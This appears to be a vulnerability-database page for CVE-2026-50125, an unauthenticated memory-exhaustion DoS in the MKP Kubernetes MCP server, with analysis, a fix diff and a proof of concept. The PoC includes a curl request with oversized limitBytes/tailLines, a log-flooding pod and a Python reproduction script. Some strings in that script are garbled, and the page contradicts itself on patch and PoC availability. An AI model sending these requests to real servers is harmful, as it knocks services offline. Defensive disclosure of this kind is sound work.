Skip to main content

MKP Server EUVDEUVD-2026-82412

| CVE-2026-50125 HIGH
Uncontrolled Resource Consumption (CWE-400)
2026-07-14 https://github.com/StacklokLabs/mkp GHSA-qw5r-ppcg-f8rj
7.5
CVSS 3.1 · Vendor: https://github.com/StacklokLabs/mkp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Reach MKP :8080 MCP endpoint
  2. Delivery
    Send tools/call get_resource for pod logs
  3. Exploit
    Supply oversized limitBytes/tailLines
  4. Execution
    Server io.Copy streams full log into buffer
  5. Persist
    RSS exhausts and process OOM-killed
  6. Impact
    MCP service denial of service

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A06:2025 - Insecure Design
ASVS 5.0
V2 - Validation and Business Logic Resource consumption limits
MITRE ATT&CK

1 technique across 1 tactic: Impact

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires network reachability to the MKP server's MCP endpoint (default :8080, streamable-http, no authentication) with the get_resource tool registered - which is the default and does not require the --read-write flag. The attacker sends a tools/call for resource=pods with subresource=logs and supplies large limitBytes/tailLines values in the parameters map. The vector is AV:N/AC:L/PR:N/UI:N, so per the CVSS data no authentication or user interaction is needed. The one real amplifier/limiter is target log volume: impact is greatest when the targeted namespace contains a pod with large accumulated logs (e.g., kube-system workloads), though the attacker can still force a large in-memory buffer by setting limitBytes up to ~2 GB. Exploitation is limited only if the MKP endpoint is not network-exposed (bound to localhost or behind an authenticating proxy) or if the server runs a patched build (>= 0.4.1) that clamps these parameters.

Impact

The supplied CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H, 7.5 High) is internally consistent with the description: network-reachable, low-complexity, unauthenticated single-request availability-only impact with no confidentiality or integrity effect. Exploitability is well substantiated - the advisory includes a working Docker-based PoC and a real-cluster curl PoC, plus dynamic reproduction confirming ~1.15 GB RSS growth - so this is more than a theoretical high-CVSS finding. No EPSS score and no CISA KEV entry were provided, so probability-of-exploitation and active-exploitation signals are unavailable; absence of KEV is not evidence against exploitability. The practical priority is moderated by prevalence rather than difficulty: MKP is a niche, early-stage tool, and real impact also depends on the presence of a pod with large accumulated logs (though the attacker can inflate limitBytes to ~2 GB regardless, and kube-system workloads commonly have large logs). Net: a genuine, easily triggered DoS that should be patched promptly on any exposed MKP deployment, but blast radius is limited to service availability of the MKP process itself.

Exploit ScenarioDerived

An attacker who can reach an exposed MKP server on port 8080 sends one JSON-RPC tools/call request invoking get_resource for a pod's logs subresource with limitBytes=2147483647 and tailLines=999999999. The server forwards the unbounded request to the Kubernetes API and copies the entire returned log stream into memory, causing RSS to balloon and the process to be OOM-killed, taking the MCP observability interface offline. A public PoC (self-contained Docker reproduction and a real-cluster curl example) is provided in the advisory, and the low-complexity unauthenticated network vector means no special skill or access is required.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 14, 2026

Unauthenticated remote denial of service in StacklokLabs MKP (Model Context Protocol for Kubernetes) server versions before 0.4.1 lets a single crafted tools/call request against the default :8080 endpoint exhaust process memory. The get_resource tool accepts attacker-controlled limitBytes/tailLines values with no upper bound and streams the entire Kubernetes pod-log response into an in-memory bytes.Buffer, driving an OOM kill (dynamic reproduction grew RSS from 25.8 MB to 1,179.3 MB on one request). Publicly available exploit code exists in the GitHub Security Advisory; there is no public evidence of active exploitation.

RemediationAI

Vendor-released patch: upgrade MKP to version 0.4.1 or later, which introduces hard caps on pod-log reads (per the advisory's suggested fix: a 1 MB maxPodLogLimitBytes and 1000-line maxPodLogTailLines, an io.LimitedReader around the io.Copy, and clamping of out-of-range limitBytes/tailLines values). If immediate patching is not possible, do not expose the MKP endpoint on 0.0.0.0:8080; bind it to localhost or place it behind a reverse proxy/authenticating gateway and restrict network access to the /mcp endpoint via firewall or Kubernetes NetworkPolicy so only trusted MCP clients can reach it - the trade-off is that any legitimate remote client must now traverse the added auth/proxy layer. Note that the built-in rate limiter (120 req/min) is not a viable mitigation because it caps request frequency but not per-request data volume, so a single request still exhausts memory. Where feasible, run mkp-server under a memory-limited cgroup/container limit so an OOM kill is contained and the process can be restarted, accepting that this converts memory exhaustion into a controlled restart rather than preventing the DoS. Reference: GHSA-qw5r-ppcg-f8rj.

Affected VersionsENISA

mkp < 0.4.1

Affected Packages

go github.com/stackloklabs/mkp fix: 0.4.1
euvd mkp fix: 0.4.1

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

MKP is a Go-based Model Context Protocol server that bridges MCP clients to a Kubernetes cluster, exposing a get_resource tool that proxies API calls including the pod logs subresource. The root cause is CWE-400 (Uncontrolled Resource Consumption): in pkg/k8s/subresource.go, buildPodLogOpts() parses the user-supplied limitBytes and tailLines strings with strconv.ParseInt(..., 64) into int64 pointers on PodLogOptions with no maximum validation, and defaultGetPodLogs() then performs io.Copy(buf, podLogs) into a heap bytes.Buffer with no application-side cap. The 32 KB default (defaultLimitBytes) applies only when the parameters map is nil, which is never the case for attacker input, so the attacker fully controls how much of the Kubernetes log stream is buffered. Because subsequent JSON serialization and MCP response wrapping duplicate the buffer, observed RSS growth was roughly 9× the raw log size. The affected component is identified by CPE/purl pkg:go/github.com/StacklokLabs/mkp.

Know when Kubernetes gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/StacklokLabs/mkp) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
vuln.today AI 7.5 HIGH

Default endpoint is network-facing and unauthenticated with a single trivial request (AV:N/AC:L/PR:N/UI:N); impact is availability-only OOM DoS with no confidentiality or integrity effect and no scope change.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
SUSE HIGH

Primary rating from Vendor (https://github.com/StacklokLabs/mkp).

CVSS VectorVendor: https://github.com/StacklokLabs/mkp

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

DescriptionCVE.org

Unbounded Pod Log Read via Attacker-Controlled limitBytes/tailLines Causes Memory Exhaustion

Summary

The MKP (Model Context Protocol for Kubernetes) server exposes a get_resource MCP tool that proxies Kubernetes pod log requests. User-supplied limitBytes and tailLines parameters are parsed as unbounded int64 values and forwarded directly to the Kubernetes API. The server then reads the entire returned log stream into an in-memory bytes.Buffer using io.Copy without any application-side size cap. A remote unauthenticated attacker can exploit this to exhaust the MKP server's memory by sending a single crafted tools/call request, leading to process termination (OOM kill) and denial of service. Dynamic reproduction confirmed the MKP process RSS grew from 25.8 MB to 1,179.3 MB (+1,153.4 MB) while handling one request with limitBytes=134217728.

Details

The vulnerability exists in pkg/k8s/subresource.go in the buildPodLogOpts() and defaultGetPodLogs() functions.

Source - unbounded parameter parsing (pkg/k8s/subresource.go:171-181):

go
// pkg/k8s/subresource.go
defaultLimitBytes := int64(32 * 1024) // 32 KB - only used when parameters map is nil
...
if limitBytes, ok := parameters["limitBytes"]; ok {
    if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
        podLogOpts.LimitBytes = &b  // no upper-bound check
    }
}
if tailLines, ok := parameters["tailLines"]; ok {
    if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
        podLogOpts.TailLines = &lines  // no upper-bound check
    }
}

When the parameters map is non-nil (always true for attacker-supplied input), buildPodLogOpts() is called at pkg/k8s/subresource.go:94-96 and overwrites the 32 KB default entirely. The attacker can therefore supply any positive int64 value (up to 2147483647 or 9223372036854775807) as limitBytes.

Sink - unbounded in-memory copy (pkg/k8s/subresource.go:114-115):

go
buf := new(bytes.Buffer)
_, err = io.Copy(buf, podLogs)  // entire Kubernetes stream copied into RAM

The stream from Kubernetes is read without limit into a heap-allocated bytes.Buffer. Subsequent JSON serialisation and MCP response wrapping create additional copies, meaning the actual RSS increase is a multiple of the raw log size (observed: ~9×).

Attack path (source → sink):

StepLocationDescription
1cmd/server/main.go:30Server binds to :8080 on all interfaces; no authentication by default
2pkg/mcp/server.go:131NewGetResourceTool() registered unconditionally (no --read-write required)
3pkg/mcp/get_resource.go:28-38Attacker-controlled parameters map parsed from CallToolRequest
4pkg/mcp/get_resource.go:76client.GetResource(..., parameters) called
5pkg/k8s/subresource.go:32-33resource=pods + subresource=logs routes into getPodLogs
6pkg/k8s/subresource.go:171-181limitBytes / tailLines parsed without upper bound (source)
7pkg/k8s/subresource.go:114-115io.Copy(buf, podLogs) loads full stream into bytes.Buffer (sink)

The rate limiter (pkg/ratelimit/config.go:16-17) caps only request frequency (120 req/min) and places no limit on per-request data volume, providing no meaningful mitigation.

Suggested remediation:

diff
+const (
+    maxPodLogTailLines  int64 = 1000
+    maxPodLogLimitBytes int64 = 1024 * 1024  // 1 MB hard cap
+)
+
 buf := new(bytes.Buffer)
-_, err = io.Copy(buf, podLogs)
+limitedLogs := &io.LimitedReader{R: podLogs, N: maxPodLogLimitBytes + 1}
+_, err = io.Copy(buf, limitedLogs)
+if limitedLogs.N == 0 {
+    return nil, fmt.Errorf("pod logs exceed maximum size of %d bytes", maxPodLogLimitBytes)
+}

 if limitBytes, ok := parameters["limitBytes"]; ok {
     if b, err := strconv.ParseInt(limitBytes, 10, 64); err == nil {
+        if b <= 0 || b > maxPodLogLimitBytes {
+            b = maxPodLogLimitBytes
+        }
         podLogOpts.LimitBytes = &b
     }
 }
 if tailLines, ok := parameters["tailLines"]; ok {
     if lines, err := strconv.ParseInt(tailLines, 10, 64); err == nil {
+        if lines <= 0 || lines > maxPodLogTailLines {
+            lines = maxPodLogTailLines
+        }
         podLogOpts.TailLines = &lines
     }
 }

PoC

Prerequisites

  • Docker (for self-contained reproduction)
  • A running Kubernetes cluster with a pod whose logs are large (for real-environment testing)
  • MKP server accessible on port 8080

---

Option A - Self-contained Docker reproduction (Phase 2 method)

This method uses a mock Kubernetes API that streams 128 MB of log data:

bash
# 1. Clone the repository and enter it
git clone https://github.com/StacklokLabs/mkp.git
cd mkp
# 2. Build the Docker image (build context is the repo root; Dockerfile is in vuln-001/)
docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
# 3. Run the exploit container - output includes RSS measurements
docker run --rm mkp-vuln-001

Expected output (condensed):

Initial RSS:  26464 kB  ( 25.8 MB)
t+01s: MKP RSS =  383080 kB  ( 374.1 MB)  [in-progress]
t+02s: MKP RSS =  683876 kB  ( 667.8 MB)  [in-progress]
t+03s: MKP RSS =  945008 kB  ( 922.9 MB)  [in-progress]
t+06s: MKP RSS = 1207560 kB  (1179.3 MB)  [in-progress]
Peak RSS: 1207572 kB (1179.3 MB)
Delta RSS: 1181108 kB (1153.4 MB)
VERDICT: CONFIRMED - RSS grew 1153.4 MB (limitBytes=128 MB)

---

Option B - Real Kubernetes environment (manual)

bash
# 1. Build and start MKP server (default transport: streamable-http on :8080)
git clone https://github.com/StacklokLabs/mkp.git && cd mkp
task build
./build/mkp-server --kubeconfig=/path/to/kubeconfig
# 2. Create a pod that generates large logs
kubectl -n default run logbomb --image=busybox --restart=Never -- \
    sh -c 'yes AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
# Wait ~30 seconds for logs to accumulate, then:
# 3. Send the exploit request
curl -sS http://127.0.0.1:8080/mcp \
    -H 'Content-Type: application/json' \
    -H 'Accept: application/json, text/event-stream' \
    --data '{
      "jsonrpc": "2.0",
      "id": 1,
      "method": "tools/call",
      "params": {
        "name": "get_resource",
        "arguments": {
          "resource_type": "namespaced",
          "group": "",
          "version": "v1",
          "resource": "pods",
          "namespace": "default",
          "name": "logbomb",
          "subresource": "logs",
          "parameters": {
            "tailLines": "999999999",
            "limitBytes": "2147483647"
          }
        }
      }
    }'

Expected observation: MKP process RSS grows rapidly during request handling. With sufficiently large logs or concurrent requests, the process is OOM-killed and the MCP endpoint becomes unavailable.

Impact

This is an unauthenticated remote Denial of Service (DoS) vulnerability affecting any deployment of MKP server accessible over the network.

Who is impacted:

  • Any operator running mkp-server in its default configuration (no --read-write flag required; get_resource is registered by default on :8080 without authentication).
  • Kubernetes clusters whose namespaces contain pods with large accumulated logs (e.g., kube-system workloads in production clusters almost always satisfy this condition).
  • Downstream consumers of the MCP interface who rely on MKP for cluster observability; an attacker can make the entire MKP service unavailable.

A single tools/call request is sufficient to trigger the condition. Because the rate limiter does not cap per-request data volume, even the 120 req/min limit provides no protection: one request with limitBytes=2147483647 (~2 GB) will exhaust memory before any subsequent requests are needed.

No authentication, special privileges, or pre-existing access beyond network reachability of port 8080 is required.

Reproduction artifacts

Dockerfile
dockerfile
# ── Stage 1: Build mkp-server ─────────────────────────────────────────────────
FROM golang:1.25 AS builder
# GOTOOLCHAIN=local prevents Go from trying to download a newer toolchain
# matching the go 1.25.5 directive in go.mod; any Go 1.25.x is sufficient.
ENV GOTOOLCHAIN=local
ENV CGO_ENABLED=0

WORKDIR /src
# Copy the source tree (build con = parent of vuln-001/)
COPY repo/ .

RUN go build -o /mkp-server ./cmd/server
# ── Stage 2: Runtime ─────────────────────────────────────────────────────────
FROM python:3.12-slim

RUN apt-get update && \
 apt-get install -y --no-install-recommends procps curl && \
 rm -rf /var/lib/apt/lists/*

COPY --from=builder /mkp-server /usr/local/bin/mkp-server

COPY vuln-001/mock_k8s_api.py /workspace/mock_k8s_api.py
COPY vuln-001/kubeconfig.yaml /workspace/kubeconfig.yaml
COPY vuln-001/exploit.py /workspace/exploit.py
COPY vuln-001/entrypoint.sh /workspace/entrypoint.sh

RUN chmod +x /workspace/entrypoint.sh

CMD ["/workspace/entrypoint.sh"]
poc.py
python
#!/usr/bin/env python3
"""
VULN-001 Dynamic Reproduction Orchestrator.

Build: docker build -t mkp-vuln-001 -f vuln-001/Dockerfile .
Run  : docker run --rm mkp-vuln-001

Evidence criterion: MKP RSS grows by ≥ 50 MB while processing a single
tools/call request with limitBytes=134217728 (128 MB), proving that
defaultGetPodLogs() performs an unbounded io.Copy into bytes.Buffer.
"""
import json
import os
import re
import subprocess
import sys
from pathlib import Path

WORK_DIR = Path(__file__).parent.resolve()
REPO_ROOT = WORK_DIR.parent
IMAGE = "mkp-vuln-001"
BUILD_CMD = f"docker build -t {IMAGE} -f vuln-001/Dockerfile ."
RUN_CMD   = f"docker run --rm {IMAGE}"
# ─────────────────────────────────────────────────────────────────────────────
def run_streaming(cmd: str, cwd=None) -> tuple[int, str]:
    """Run a shell command, stream its output, and return (rc, full_output)."""
    proc = subprocess.Popen(
        cmd, shell=True,
        stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
        text=True, cwd=cwd,
    )
    lines = []
    for line in proc.stdout:
        print(line, end='', flush=True)
        lines.append(line)
    proc.wait()
    return proc.returncode, ''.join(lines)


def save_result(result: dict):
    path = WORK_DIR / 'phase2_result.json'
    with open(path, 'w', encoding='utf-8') as f:
        json.dump(result, f, ensure_ascii=False, indent=2)
    print(f"\n[poc] Result saved → {path}")


def parse_evidence(output: str) -> dict:
    ev: dict = {}
    m = re.search(r'Initial RSS\s*:\s*(\d+)', output)
    if m:
        ev['initial_kb'] = int(m.group(1))
        ev['initial_mb'] = ev['initial_kb'] / 1024

    m = re.search(r'Peak RSS\s*:\s*(\d+)', output)
    if m:
        ev['peak_kb'] = int(m.group(1))
        ev['peak_mb'] = ev['peak_kb'] / 1024

    m = re.search(r'Delta RSS\s*:\s*(\d+)\s*kB\s*\(([0-9.]+)\s*MB\)', output)
    if m:
        ev['delta_kb'] = int(m.group(1))
        ev['delta_mb'] = float(m.group(2))
    elif 'peak_kb' in ev and 'initial_kb' in ev:
        ev['delta_kb'] = ev['peak_kb'] - ev['initial_kb']
        ev['delta_mb'] = ev['delta_kb'] / 1024

    m = re.search(r'VERDICT:\s*(CONFIRMED|INCONCLUSIVE)[^\n]*', output)
    if m:
        ev['verdict_line'] = m.group(0)

    return ev


def extract_evidence_block(output: str) -> str:
    """Return the EVIDENCE SUMMARY block, or the last 3000 chars."""
    m = re.search(r'={10,}\nEVIDENCE SUMMARY.*?={10,}', output, re.DOTALL)
    if m:
        return m.group(0)[:3000]
    return output[-3000:]
# ─────────────────────────────────────────────────────────────────────────────
def main():
    print("=" * 60)
    print("VULN-001: Unbounded Pod Log Read - Dynamic Reproduction")
    print("=" * 60)

    os.chdir(REPO_ROOT)
# ── Docker build ──────────────────────────────────────────────────────────
    print(f"\n[poc] Building Docker image…\n[poc] {BUILD_CMD}\n")
    rc, build_output = run_streaming(BUILD_CMD)
    if rc != 0:
        reason = f"Docker build failed (exit {rc}). text error: {build_output[-800:]}"
        save_result({
            "passed": False,
            "verdict": "FAIL",
            "reason": reason,
            "build_command": BUILD_CMD,
            "run_command": RUN_CMD,
            "poc_command": "python3 vuln-001/poc.py",
            "evidence": build_output[-2000:],
            "artifacts": ["Dockerfile", "poc.py"],
        })
        print(f"\n[poc] FAIL: {reason}")
        return False

    print("\n[poc] Build OK.")
# ── Docker run ────────────────────────────────────────────────────────────
    print(f"\n[poc] Running exploit container…\n[poc] {RUN_CMD}\n")
    rc, run_output = run_streaming(f"{RUN_CMD} 2>&1")
    print(f"\n[poc] Container exited (code={rc})")

    ev = parse_evidence(run_output)
    delta_mb = ev.get('delta_mb', 0.0)
    print(f"[poc] Parsed evidence: {ev}")
# ── Verdict ───────────────────────────────────────────────────────────────
    passed = delta_mb >= 50.0

    if passed:
        verdict = "PASS"
        init_mb = ev.get('initial_mb', 0)
        peak_mb = ev.get('peak_mb', 0)
        reason = (
            f"MKP server RSStext {init_mb:.1f} MB → {peak_mb:.1f} MBtext {delta_mb:.1f} MB increasedone. "
            f"the attacker limitBytes=134217728 (128 MB)text tools/call requesttext containswhentextcharacters "
            f"pkg/k8s/subresource.go:114-115text io.Copy(buf, podLogs)text limit text "
            f"bytes.Buffertext 128 MB text streamtext beforetext text thattext dynamicas confirmed."
        )
    else:
        verdict = "INCOMPLETE"
        reason = (
            f"RSS text {delta_mb:.1f} MB - 50 MB criteria text. "
            f"possibletext cause: MCP session initialization failure, 30seconds texttext timeout text exit, "
            f"or Mock API response textreached. container logs text 500characters: {run_output[-500:]}"
        )

    result = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_CMD,
        "run_command": RUN_CMD,
        "poc_command": "python3 vuln-001/poc.py",
        "evidence": extract_evidence_block(run_output),
        "artifacts": ["Dockerfile", "poc.py"],
    }
    save_result(result)

    print(f"\n[poc] {'PASS' if passed else 'INCOMPLETE'}: {reason}")
    return passed


if __name__ == '__main__':
    ok = main()
    sys.exit(0 if ok else 1)

Executive ViewAI

Why It Matters

StacklokLabs MKP server (versions before 0.4.1) contains an unauthenticated remote denial-of-service vulnerability where a single crafted request to the pod-logging endpoint exhausts server memory and crashes the process. Organizations running MKP for Kubernetes pod access and troubleshooting face immediate service disruption; publicly available exploit code increases attack likelihood.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) network segmentation limiting port 8080 access to internal IPs; (2) request-level rate limiting on tools/call to prevent bulk memory exhaustion; (3) strict container memory limits to force graceful restart rather than OOM; (4) real-time monitoring for RSS spikes; (5) documented manual pod-log retrieval procedures bypassing MKP.

Threat Intelligence Overview

EPSS Score
0.4%
Top 65% exploitable
Prevalence
Low
niche early-stage Kubernetes MCP server, small deployment footprint
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
High

Priority Score

38
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

CVE-2025-1974 CRITICAL POC
9.8 Mar 25

A critical vulnerability in Kubernetes ingress-nginx controller allows unauthenticated attackers with pod network access

CVE-2026-45321 CRITICAL POC
9.6 May 12

Credential-harvesting malware compromised 84 versions of 42 TanStack npm packages on 2026-05-11 via chained GitHub Actio

CVE-2025-1098 HIGH POC
8.8 Mar 25

Kubernetes ingress-nginx contains a configuration injection vulnerability via the mirror-target and mirror-host Ingress

CVE-2025-24514 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-url` Ingres

CVE-2025-1097 HIGH POC
8.8 Mar 25

A security issue was discovered in ingress-nginx https://github.com/kubernetes/ingress-nginx where the `auth-tls-match-c

CVE-2020-8554 MEDIUM POC
6.3 Jan 21

Kubernetes API server in all versions allow an attacker who is able to create a ClusterIP service and set the spec.exter

CVE-2023-3676 HIGH POC
8.8 Oct 31

A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes may be able to escalate

CVE-2025-55190 CRITICAL POC
9.9 Sep 04

Argo CD is a declarative, GitOps continuous delivery tool for Kubernetes. Rated critical severity (CVSS 9.9), this vulne

CVE-2026-34976 CRITICAL POC
10.0 Apr 02

Unauthenticated remote attackers can trigger complete database overwrites, server-side file reads, and SSRF attacks agai

CVE-2018-18843 CRITICAL POC
10.0 Dec 04

The Kubernetes integration in GitLab Enterprise Edition 11.x before 11.2.8, 11.3.x before 11.3.9, and 11.4.x before 11.4

CVE-2026-54680 CRITICAL POC
9.9 Jul 29

Fluentd configuration injection in the kube-logging Logging operator before 6.6.0 allows a namespace-scoped user who can

CVE-2025-64709 CRITICAL POC
9.9 Nov 13

Authenticated Typebot users can abuse the webhook block (HTTP Request component) in versions prior to 3.13.1 to issue ar

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP5 Affected
SUSE Linux Enterprise Module for Package Hub 15 SP6 Affected
openSUSE Leap 15.5 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy